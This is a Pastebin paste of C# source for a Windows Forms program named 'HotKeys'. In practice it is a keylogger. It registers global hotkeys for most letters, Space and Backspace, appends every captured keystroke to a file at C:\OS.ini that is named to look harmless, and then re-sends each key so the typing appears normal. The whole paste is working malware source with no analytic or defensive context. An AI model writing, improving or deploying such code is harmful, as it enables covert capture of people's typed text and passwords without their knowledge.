Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Windows.Forms;
- using System.Runtime.InteropServices;
- using System.IO;
- using System.Threading;
- namespace HotKeys
- {
- public partial class Form1 : Form
- {
- ////Retira o botão de fechar
- //private const int CP_NOCLOSE_BUTTON = 0x200;
- //protected override CreateParams CreateParams
- //{
- // get
- // {
- // CreateParams myCp = base.CreateParams;
- // myCp.ClassStyle = myCp.ClassStyle | CP_NOCLOSE_BUTTON;
- // return myCp;
- // }
- //}
- int id = 0;
- // DLL libraries used to manage hotkeys
- [DllImport("user32.dll")]
- public static extern bool RegisterHotKey(IntPtr hWnd, int id, int fsModifiers, int vlc);
- [DllImport("user32.dll")]
- public static extern bool UnregisterHotKey(IntPtr hWnd, int id);
- enum KeyModifier
- {
- None = 0,
- Alt = 1,
- Control = 2,
- Shift = 4,
- WinKey = 8
- }
- public Form1()
- {
- InitializeComponent();
- // Modifier keys codes: Alt = 1, Ctrl = 2, Shift = 4, Win = 8
- // Compute the addition of each combination of the keys you want to be pressed
- // ALT+CTRL = 1 + 2 = 3 , CTRL+SHIFT = 2 + 4 = 6...
- xiq();
- }
- string k = "";
- protected override void WndProc(ref Message m)
- {
- if (m.Msg == 0x0312)
- {
- Keys key = (Keys)(((int)m.LParam >> 16) & 0xFFFF); // The key of the hotkey that was pressed.
- KeyModifier modifier = (KeyModifier)((int)m.LParam & 0xFFFF); // The modifier of the hotkey that was pressed.
- int id = m.WParam.ToInt32(); // The id of the hotkey that was pressed.
- k = "";
- k = key.ToString();
- if (k.ToLower() == "space")
- {
- File.WriteAllText(@"C:\OS.ini", File.ReadAllText(@"C:\OS.ini") + " ");
- }
- else
- {
- if (k.ToLower() == "back")
- {
- File.WriteAllText(@"C:\OS.ini", File.ReadAllText(@"C:\OS.ini") + k.ToLower());
- }
- else
- {
- File.WriteAllText(@"C:\OS.ini", File.ReadAllText(@"C:\OS.ini") + k.ToLower());
- }
- }
- try
- {
- SendKeys.Send("{" + key.ToString().ToLower() + "}");
- }
- catch (Exception)
- { SendKeys.Send(" "); }
- File.WriteAllText(@"C:\OS.ini", File.ReadAllText(@"C:\OS.ini").Replace("Space", " "));
- }
- base.WndProc(ref m);
- }
- public void xiq()
- {
- InitializeComponent();
- int id = 0; // The id of the hotkey.
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.A.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.B.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.C.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.D.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.E.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.F.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.G.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.H.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.I.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.J.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.K.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.L.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.M.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.N.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.O.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.P.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.Q.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.R.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.S.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.T.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.U.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.V.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.X.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.Z.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.Space.GetHashCode());
- RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.Back.GetHashCode());
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement